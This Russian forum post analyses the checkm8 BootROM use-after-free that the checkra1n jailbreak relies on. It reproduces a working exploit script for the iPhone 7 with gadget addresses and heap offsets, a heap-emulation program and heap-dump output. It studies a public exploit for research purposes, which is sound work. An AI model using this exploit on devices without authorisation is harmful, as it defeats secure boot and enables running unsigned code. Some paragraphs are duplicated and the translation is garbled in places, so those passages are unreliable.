Джейлбрейк Checkra1n: анализ эксплойта Checkm8 / Как работает checkra1n?

Тема в разделе "iPhone", создана пользователем Транклюкатор, 9 май 2020.

Метки:
  1. Транклюкатор

    Транклюкатор Господин ПЖ

    Как работает checkra1n?

    Скорее всего, вы уже слышали о джейлбрейке checkm8. Этот эксплойт использует неустранимую уязвимость BootROM большинства устройств Apple, включая iPhone X. Здесь мы проведем технический анализ этого эксплойта и разберемся с этой уязвимостью и ее источником.

    преамбула

    Обо всем по порядку. Давайте кратко рассмотрим сам процесс загрузки iDevice и роль BootROM (или Secure ROM) в этом процессе.

    Ниже вы найдете блок-схему, представляющую процесс загрузки устройства Apple.

    [​IMG]
    BootROM - это первое, что выполняется при включении устройства. Основные задачи, которые он выполняет:

    • Инициализация платформы (установлены необходимые регистры платформы, инициализирован процессор и т. Д.)
    • Проверка и передача контроля на следующий этап
      • BootROM поддерживает разбор изображений IMG3 / IMG4
      • BootROM имеет доступ к ключу GID, который позволяет расшифровывать изображения
      • BootROM содержит встроенный открытый ключ Apple Key и необходимые криптографические возможности, облегчающие проверку изображения
    • Если дальнейшая загрузка невозможна, восстановите устройство (Обновление прошивки устройства или DFU)
    BootROM можно рассматривать как облегченную версию iBoot из-за ее очень маленького размера. Они также разделяют большую часть кода системы и библиотеки. Основное различие между BootROM и iBoot заключается в том, что BootROM не может быть обновлен, поскольку он помещается во внутреннюю память, которая доступна только для чтения, в процессе производства. BootROM - это корень доверия к оборудованию в цепочке безопасной загрузки. Уязвимости BootROM являются ловушкой, позволяющей злоумышленникам контролировать процесс загрузки и запускать неподписанный код на устройствах.

    [​IMG]
    История Chekm8

    [​IMG]
    Автор эксплойта Checkm8 axi0mX добавил его в ipwndfu 27 сентября 2019 года. Он одновременно использовал Twitter, чтобы анонсировать обновление. Его твит содержал описание эксплойта и дополнительную информацию. В потоке говорится, что он обнаружил уязвимость использования после освобождения в коде USB во время изменения патча iBoot для бета-версии iOS 12 летом 2018 года. Как мы знаем, iBoot и BootROM совместно используют большую часть своего кода, включая код USB. Следовательно, эта уязвимость применима и к BootROM.

    С точки зрения кода эксплойта, упомянутая уязвимость использует преимущества DFU. DFU - это режим, позволяющий пользователю переместить подписанное изображение на устройство с помощью USB для последующей загрузки. Например, это может быть решением для восстановления устройства в случае сбоя обновления.

    В тот же день пользователь littlelailo заявил, что эта уязвимость была обнаружена им в марте, а ее описание было опубликовано в apollo.txt. Описание уязвимости было представлено checkm8. Однако некоторые детали были недостаточно ясны. Именно поэтому эта статья написана с целью объяснить все детали эксплуатации вплоть до выполнения полезной нагрузки в BootROM.

    Вышеуказанные источники стали основой нашего анализа, а также утечка исходного кода в феврале 2018 года. Кроме того, мы используем данные, полученные в результате наших собственных экспериментов на тестовом устройстве, а именно iPhone 7 (CPID: 8010). Дампы SecureRAM и SecureROM были получены через checkm8. Это был полезный вклад в анализ.

    Основная информация USB

    Поскольку мы обнаружили, что USB-код является источником уязвимости, очевидно, мы должны выяснить, как именно работает этот интерфейс. Front Page | USB-IF предоставит вам общую информацию. Но это довольно долгое чтение. Информация USB NutShell подходит для наших нужд. Мы выделим наиболее важные аспекты.

    Существует несколько типов передачи данных через USB. В случае DFU, режим передачи управления является единственным используемым типом (более подробная информация здесь). В этом режиме каждая транзакция проходит три этапа:

    • Этап настройки - пакет SETUP отправляется и включает в себя следующие поля:
      • bmRequestType - его работа заключается в определении направления, типа и получателя запроса
      • bRequest - идентифицирует запрос, который будет сделан
      • wValue, wIndex – are interpreted in dependence to the request
      • wLength - указывает длину данных, отправленных / полученных на этапе данных
    • Этап данных является необязательным этапом передачи данных. На основе пакета SETUP, отправленного на этапе установки, данные могут быть отправлены с хоста на устройство (OUT) или с устройства на хост (IN). Любые данные отправляются небольшими порциями. Если говорить об Apple DFU, то это только 0x40 байтов.
      • Когда хост отправляет другой пакет данных, он сначала отправляет токен OUT, а затем отправляет данные.
      • Когда хост готов принять данные, отправленные с устройства, он отправляет токен IN на устройство.
    • Стадия статуса - это последняя стадия, когда сообщается обо всем статусе транзакции.
      • В случае запроса OUT хост отправляет токен IN, и устройство должно ответить пакетом нулевой длины.
      • В случае запроса IN хост отправляет токен OUT и пакет нулевой длины.
    Ниже вы найдете схему, изображающую запросы OUT и IN. Мы намеренно удалили ACK, NACK и другие пакеты рукопожатия, потому что они не являются существенными для эксплойта.

    [​IMG]
    Apollo.txt Анализ

    Мы начали наш анализ с уязвимости, описанной в apollo.txt. Алгоритм режима DFU является предметом этого документа.

    Apple Bootrom Bug

    1. Когда usb запускается для получения изображения через dfu, dfu регистрирует интерфейс для обработки всех команд и выделяет буфер для ввода и вывода.
    2. если вы отправляете данные в dfu, пакет установки обрабатывается основным кодом, который затем обращается к коду интерфейса
    3. код интерфейса проверяет, что wLength короче, чем длина буфера ввода-вывода, и в этом случае обновляет указатель, переданный в качестве аргумента, указателем на буфер ввода-вывода
    4. затем он возвращает wLength, который является длиной, которую он хочет получить в буфер
    5. Затем основной код USB обновляет глобальную переменную длины и готовится к приему пакетов данных.
    6. если пакет данных получен, он записывается во входной выходной буфер через указатель, который был передан в качестве аргумента, а другая глобальная переменная используется для отслеживания того, сколько байтов уже получено.
    7. если все данные были получены, снова вызывается специальный код dfu, который затем копирует содержимое буфера ввода-вывода в область памяти, откуда позднее загружается изображение
    8. после этого код usb сбрасывает все переменные и переходит к новым пакетам
    9. если dfu выходит из буфера ввода-вывода, освобождается и если синтаксический анализ изображения не удается, bootrom повторно входит в dfu
    Первое, что мы сделали, - эти шаги проверили исходный код VS iBoot. Вытекшие фрагменты кода не могут быть использованы здесь. По этой причине мы будем использовать абстрактный код, полученный с помощью реверс-инжиниринга SecureROM протестированного iPhone 7 в IDA. Исходный код iBoot легко найти и перемещаться.

    Когда инициализация DFU завершена, выделение буфера I0 и регистрация интерфейса USB для запроса на обработку DFU завершены, вы увидите экран ниже:

    [​IMG]
    Как только поступает запрос к пакету SETUP DFU, вызывается соответствующий интерфейсный обработчик. В случае запросов OUT (например, отправка изображения), если выполнение прошло успешно, обработчик должен вернуть адрес буфера I0 для транзакции вместе с длиной данных, которые должны быть получены. Оба значения хранятся в глобальных переменных.

    [​IMG]
    На следующем снимке экрана показан обработчик интерфейса DFU. В случае правильного запроса будет возвращен адрес буфера I0 при инициализации DFU и длина данных, ожидаемых от пакета SETUP.

    [​IMG]
    Во время этапа данных каждый пакет данных записывается в адрес буфера I0. После этого адрес буфера I0 будет смещен, а полученный счетчик будет обновлен. Как только все ожидаемые данные получены, вызывается обработчик данных интерфейса и очищается состояние глобальной транзакции.

    [​IMG]
    В обработчике данных DFU полученные данные перемещаются в область памяти для последующей загрузки оттуда. Для устройств Apple эта область называется INSECURE_MEMORY на основе исходного кода iBoot.

    [​IMG]
    Как только устройство выходит из режима DFU, ранее выделенный буфер I0 освобождается. В случае успешного получения изображения в режиме DFU оно будет проверено и загружено. DFU будет снова инициализирован в случае возникновения ошибки во время процесса или невозможности загрузки образа. Это означает, что весь процесс будет начат заново с самого начала.

    Уязвимость использования после освобождения находится в алгоритме, описанном выше. В случае, если мы отправляем пакет SETUP во время загрузки изображения и транзакция завершается с пропуском этапа данных, глобальное состояние остается инициализированным в течение следующего цикла DFU. Таким образом, мы можем записать в буфер I0 адрес, выделенный в ходе предыдущей итерации DFU.

    Вот как работает использование после освобождения. Но как что-то может быть перезаписано во время следующей итерации DFU? Ответ заключается в том, что все ресурсы, выделенные ранее, будут свободными, и распределение памяти в новой итерации должно быть абсолютно одинаковым до новой инициализации DFU. Выяснилось, что существует еще одна довольно интересная ошибка утечки памяти, делающая возможным использование «после освобождения».

    Анализ Checkm8

    Давайте обратимся к chekm8. Для демонстрации мы будем использовать упрощенную версию эксплойта для iPhone 7. Упрощенная версия означает, что мы удалили весь код для других платформ и изменили порядок и типы USB-запросов, которые не повредили его функциональности. Другая удаленная вещь - это процесс создания полезной нагрузки, включенный в исходный файл - checkm8.py. Разница между версиями для других устройств очевидна.

    #!/usr/bin/env python
    from checkm8 import *
    def main():
    print '*** checkm8 exploit by axi0mX ***'
    device = dfu.acquire_device(1800)
    start = time.time()
    print 'Found:', device.serial_number
    if 'PWND:[' in device.serial_number:
    print 'Device is already in pwned DFU Mode. Not executing exploit.'
    return
    payload, _ = exploit_config(device.serial_number)
    t8010_nop_gadget = 0x10000CC6C
    callback_chain = 0x1800B0800
    t8010_overwrite = '\0' * 0x5c0
    t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
    # heap feng-shui
    stall(device)
    leak(device)
    for i in range(6):
    no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)
    # set global state and restart usb
    device = dfu.acquire_device()
    device.serial_number
    libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
    libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
    dfu.release_device(device)
    time.sleep(0.5)
    # heap occupation
    device = dfu.acquire_device()
    device.serial_number
    stall(device)
    leak(device)
    leak(device)
    libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
    for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
    payload[i:i+0x800], 50)
    dfu.usb_reset(device)
    dfu.release_device(device)
    device = dfu.acquire_device()
    if 'PWND:[checkm8]' not in device.serial_number:
    print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
    sys.exit(1)
    print 'Device is now in pwned DFU Mode.'
    print '(%0.2f seconds)' % (time.time() - start)
    dfu.release_device(device)
    if __name__ == '__main__':
    main()
    Операция Checkm8 состоит из шести этапов:

    1. Куча фэн-шуй
    2. Распределение и освобождение буфера I0 без очистки глобального состояния
    3. перезапись usb_device_io_request в куче с использованием после освобождения
    4. Размещение полезной нагрузки
    5. Выполнение Callback-цепочки
    6. Выполнение шеллкода
    Теперь мы подробнее рассмотрим каждый из этих этапов.

    Куча фэн-шуй

    На наш взгляд, этот этап самый интересный. Поэтому мы не торопимся, чтобы обрисовать это в деталях.

    stall(device)
    leak(device)
    for i in range(6):
    no_leak(device)
    dfu.usb_reset(device)
    dfu.release_device(device)
    Стадия кучи фэн-шуй важна для правильного расположения кучи, обеспечивая преимущества для эксплуатации после использования. Прежде всего, мы должны взглянуть на stall, leak, no_leak звонки:

    def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
    def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
    def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
    libusb1_no_error_ctrl_transfer is Оболочка device.ctrlTransfer, которая игнорирует все исключения во время выполнения запроса. libusb1_async_ctrl_transferis libusb_submit_transfer function wrapper from libusb for a request nonsynchronous execution.

    Параметры, перечисленные ниже, передаются этим вызовам:

    • Номер устройства
    • Пакет данных SETUP (описание можно найти здесь):
      • bmRequestType
      • BREQUEST
      • wValue
      • WINDEX
    • Длина данных (длина) или данные этапа данных
    • Запрос времени ожидания
    Все три типа запросов имеют следующие аргументы: bmRequestType, bRequest, wValue и wIndex.

    • bmRequestType = 0x80
      • 0b1XXXXXXX - направление этапа данных (устройство к хосту)
      • 0bX00XXXXX - стандартный тип запроса
      • 0bXXX00000 - устройство получателя запроса
    • bRequest = 6 - получить запрос дескриптора (GET_DESCRIPTOR)
    • wValue = 0x304
    • wValueHigh = 0x3 - определяет тип дескриптора - строка (USB_DT_STRING)
    • wValueLow = 0x4 - индекс дескриптора строки, 4, связан с серийным номером устройства (в нашем случае строка является CPID: 8010 CPRV: 11 CPFM: 03 SCEP: 01 BDID: 0C ECID: 001A40362045E526 IBFL: 3C SRTG: [ iBoot-2696.0.0.1.33])
    • wIndex = 0x40A - это строковый идентификатор языка. Его значение можно изменить, так как оно не связано с эксплуатацией.
    0x30 байтов выделяются для любого типа этих запросов в куче для объекта, имеющего следующую структуру:

    [​IMG]
    Обратный вызов и следующие поля являются наиболее интересными.

    • обратный вызов указывает на функцию, которая будет вызвана после выполнения запроса.
    • next указывает на следующий объект того же типа. Это важно для организации списка ожидания запросов.
    Ключевой особенностью задержки является то, что он использует несинхронное выполнение запроса с минимальным тайм-аутом. Вот почему нам повезло, потому что ОС отменит запрос, и он останется в списке ожидания выполнения. Таким образом, транзакция останется незавершенной. Кроме того, устройство по-прежнему будет принимать все предстоящие пакеты SETUP и помещать их в список ожидания выполнения по мере необходимости. В ходе наших дальнейших экспериментов с контроллером USB на Arduino оказалось, что для успешной эксплуатации требуется отправка пакета SETUP и токена IN хостом. Как только это будет сделано, транзакция должна быть отменена из-за тайм-аута.

    Вот как выглядит незавершенная транзакция:

    [​IMG]
    Кроме того, единственная разница между запросами заключается в их длине, которая составляет одну единицу. Существует стандартный обратный вызов для стандартных запросов. Это выглядит так:

    [​IMG]
    Значение io_length равно минимуму от wLength в пакете SETUP запроса, а также исходной длине запрошенного дескриптора. Учитывая, что дескриптор достаточно длинный, значением io_length можно управлять внутри него. Значение g_setup_request.wLength равно значению wLength из последнего пакета SETUP. В этом сценарии это 0xC1.

    Таким образом, запросы, сформированные вызовами останова и утечки, будут выполнены, условие в терминале функции обратного вызова будет выполнено и будет вызвана usb_core_send_zlp (). Этот вызов создает нулевой пакет или пакет нулевой длины и помещает его в список ожидания выполнения. Это требование для правильного завершения транзакции в Status Sage.

    Вызов функции usb_core_complete_endpoint_io является завершением запроса. Сначала он вызывает callback, а затем освобождает память запроса. Есть два признака, позволяющие считать запрос завершенным: полное завершение транзакции и сброс USB. После получения сигнала сброса USB все запросы в списке ожидания выполнения завершаются.

    Мы можем получить определенный контроль над кучей для использования после освобождения с помощью выборочного вызова usb_core_send_zlp (), просматривая список ожидания выполнения и освобождая дальнейшие запросы. Давайте посмотрим, как выглядит цикл очистки запросов:

    [​IMG]
    Значение io_length равно минимуму от wLength в пакете SETUP запроса, а также исходной длине запрошенного дескриптора. Учитывая, что дескриптор достаточно длинный, значением io_length можно управлять внутри него. Значение g_setup_request.wLength равно значению wLength из последнего пакета SETUP. В этом сценарии это 0xC1.

    Таким образом, запросы, сформированные вызовами останова и утечки, будут выполнены, условие в терминале функции обратного вызова будет выполнено и будет вызвана usb_core_send_zlp (). Этот вызов создает нулевой пакет или пакет нулевой длины и помещает его в список ожидания выполнения. Это требование для правильного завершения транзакции в Status Sage.

    Вызов функции usb_core_complete_endpoint_io является завершением запроса. Сначала он вызывает callback, а затем освобождает память запроса. Есть два признака, позволяющие считать запрос завершенным: полное завершение транзакции и сброс USB. После получения сигнала сброса USB все запросы в списке ожидания выполнения завершаются.

    Мы можем получить определенный контроль над кучей для использования после освобождения с помощью выборочного вызова usb_core_send_zlp (), просматривая список ожидания выполнения и освобождая дальнейшие запросы. Давайте посмотрим, как выглядит цикл очистки запросов:

    [​IMG]
    Новая память выделяется из наименьшего подходящего свободного чанка в куче SecureROM. Создание небольшого свободного чанка с использованием вышеупомянутого подхода дает нам контроль над распределением памяти во время инициализации USB, включая io_buffer и распределение запросов.

    Взгляд на запросы к куче после инициализации DFU даст нам четкую картину этого процесса. Мы получили следующую последовательность во время анализа исходного кода iBoot и анализа обратной инженерии SecureROM:

      • Распределение различных строковых дескрипторов
        • 1.1. Nonce (размер 234)
        • 1.2. Производитель (22)
        • 1.3. Продукт (62)
        • 1.4. Серийный номер (198)
        • 1,5. Строка конфигурации (62)
      • Распределения, связанные с созданием задачи контроллера USB
        • 2.1. Структура задачи (0x3c0)
        • 2.2. Стек задач (0x1000)
      • io_buffer (0x800)
      • Дескрипторы конфигурации
        • 4.1. Высокоскоростной (25)
        • 4.2. Полная скорость (25)
    Следующим шагом является распределение структур запросов. В случае, если небольшой кусок помещается в кучу, это то место, куда пойдут некоторые выделения первой категории. Это означает, что все другие распределения будут перемещены. Это позволит нам переполнить usb_device_io_request через ссылку на старый буфер. Вот как это выглядит:

    [​IMG]
    То, что мы сделали для расчета необходимого смещения, это эмуляция всех выделений, упомянутых выше, и некоторая адаптация исходного кода кучи iBoot.

    Эмуляция запросов кучи в DFU

    #include "heap.h"
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #ifndef NOLEAK
    #define NOLEAK (8)
    #endif
    int main() {
    void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    printf("chunk = %p\n", chunk);
    heap_add_chunk(chunk, 0x100000, 1);
    malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM
    void * descs[10];
    void * io_req[100];
    descs[0] = malloc(234);
    descs[1] = malloc(22);
    descs[2] = malloc(62);
    descs[3] = malloc(198);
    descs[4] = malloc(62);
    const int N = NOLEAK;
    void * task = malloc(0x3c0);
    void * task_stack = malloc(0x4000);
    void * io_buf_0 = memalign(0x800, 0x40);
    void * hs = malloc(25);
    void * fs = malloc(25);
    void * zlps[2];
    for(int i = 0; i < N; i++)
    {
    io_req = malloc(0x30);
    }
    for(int i = 0; i < N; i++)
    {
    if(i < 2)
    {
    zlps = malloc(0x30);
    }
    free(io_req);
    }
    for(int i = 0; i < 5; i++)
    {
    printf("descs[%d] = %p\n", i, descs);
    }
    printf("task = %p\n", task);
    printf("task_stack = %p\n", task_stack);
    printf("io_buf = %p\n", io_buf_0);
    printf("hs = %p\n", hs);
    printf("fs = %p\n", fs);
    for(int i = 0; i < 2; i++)
    {
    printf("zlps[%d] = %p\n", i, zlps);
    }
    printf("**********\n");
    for(int i = 0; i < 5; i++)
    {
    free(descs);
    }
    free(task);
    free(task_stack);
    free(io_buf_0);
    free(hs);
    free(fs);
    descs[0] = malloc(234);
    descs[1] = malloc(22);
    descs[2] = malloc(62);
    descs[3] = malloc(198);
    descs[4] = malloc(62);
    task = malloc(0x3c0);
    task_stack = malloc(0x4000);
    void * io_buf_1 = memalign(0x800, 0x40);
    hs = malloc(25);
    fs = malloc(25);
    for(int i = 0; i < 5; i++)
    {
    printf("descs[%d] = %p\n", i, descs);
    }
    printf("task = %p\n", task);
    printf("task_stack = %p\n", task_stack);
    printf("io_buf = %p\n", io_buf_1);
    printf("hs = %p\n", hs);
    printf("fs = %p\n", fs);
    for(int i = 0; i < 5; i++)
    {
    io_req = malloc(0x30);
    printf("io_req[%d] = %p\n", i, io_req);
    }
    printf("**********\n");
    printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0);
    printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0);
    printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0);
    return 0;
    }
    Вот вывод программы с 8 запросами на этапе кучи фэн-шуй:

    chunk = 0x1004000
    descs[0] = 0x1004480
    descs[1] = 0x10045c0
    descs[2] = 0x1004640
    descs[3] = 0x10046c0
    descs[4] = 0x1004800
    task = 0x1004880
    task_stack = 0x1004c80
    io_buf = 0x1008d00
    hs = 0x1009540
    fs = 0x10095c0
    zlps[0] = 0x1009a40
    zlps[1] = 0x1009640
    **********
    descs[0] = 0x10096c0
    descs[1] = 0x1009800
    descs[2] = 0x1009880
    descs[3] = 0x1009900
    descs[4] = 0x1004480
    task = 0x1004500
    task_stack = 0x1004900
    io_buf = 0x1008980
    hs = 0x10091c0
    fs = 0x1009240
    io_req[0] = 0x10092c0
    io_req[1] = 0x1009340
    io_req[2] = 0x10093c0
    io_req[3] = 0x1009440
    io_req[4] = 0x10094c0
    **********
    io_req_off = 0x5c0
    hs_off = 0x4c0
    fs_off = 0x540
    Таким образом, еще один usb_device_io_request будет отображаться со 0x5c0смещением от предыдущего начала буфера, что соответствует коду эксплойта:

    t8010_overwrite = '\0' * 0x5c0
    t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
    Эти выводы можно проверить с помощью анализа текущего состояния кучи SecureRAM, полученного с помощью checkm8. Для этого мы написали простой скрипт, который анализирует дамп кучи и перечисляет куски. Обратите внимание, что часть метаданных была повреждена во время переполнения usb_device_io_request. Это причина, почему мы пропускаем это в анализе.

    #!/usr/bin/env python3
    import struct
    from hexdump import hexdump
    with open('HEAP', 'rb') as f:
    heap = f.read()
    cur = 0x4000
    def parse_header(cur):
    _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30])
    is_free = t & 1
    prev_free = (t >> 1) & 1
    prev_size = t >> 2
    this_size *= 0x40
    prev_size *= 0x40
    return this_size, is_free, prev_size, prev_free
    while True:
    try:
    this_size, is_free, prev_size, prev_free = parse_header(cur)
    except Exception as ex:
    break
    print('chunk at', hex(cur + 0x40))
    if this_size == 0:
    if cur in (0x9180, 0x9200, 0x9280): # skipping damaged chunks
    this_size = 0x80
    else:
    break
    print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free)
    hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)])
    cur += this_size
    Вы можете найти вывод скрипта вместе с комментариями под спойлером. Это показывает, что младшие байты соответствуют результатам эмуляции.

    Результат разбора кучи в SecureRAM

    chunk at 0x4040
    0x40 non-free 0x0 0
    chunk at 0x4080
    0x80 non-free 0x40 0
    00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A..............
    00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
    00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?......
    00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
    chunk at 0x4100
    0x140 non-free 0x80 0
    00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    chunk at 0x4240
    0x240 non-free 0x140 0
    00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge.....
    00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    chunk at 0x4480 // descs[4], conf string
    0x80 non-free 0x240 0
    00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.A.p.p.l.e. .M.
    00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 o.b.i.l.e. .D.e.
    00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 v.i.c.e. .(.D.F.
    00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .M.o.d.e.)...
    chunk at 0x4500 // task
    0x400 non-free 0x80 0
    00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............
    00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    chunk at 0x4900 // task stack
    0x4080 non-free 0x400 0
    00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
    chunk at 0x8980 // io_buf
    0x840 non-free 0x4080 0
    00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........
    00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................
    00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................
    00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... .......
    00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0.......
    00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@.......
    00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L...............
    00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l.......
    00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x.......
    00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................
    000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................
    000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4.......
    chunk at 0x91c0 // hs config
    0x80 non-free 0x0 0
    00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................
    00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............
    00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    chunk at 0x9240 // ls config
    0x80 non-free 0x0 0
    00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................
    00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............
    00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    chunk at 0x92c0
    0x80 non-free 0x0 0
    00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l...............
    00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
    chunk at 0x9340
    0x80 non-free 0x80 0
    00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
    00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H...............
    00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
    chunk at 0x93c0
    0x80 non-free 0x80 0
    00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
    00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@.......
    00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
    chunk at 0x9440
    0x80 non-free 0x80 0
    00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
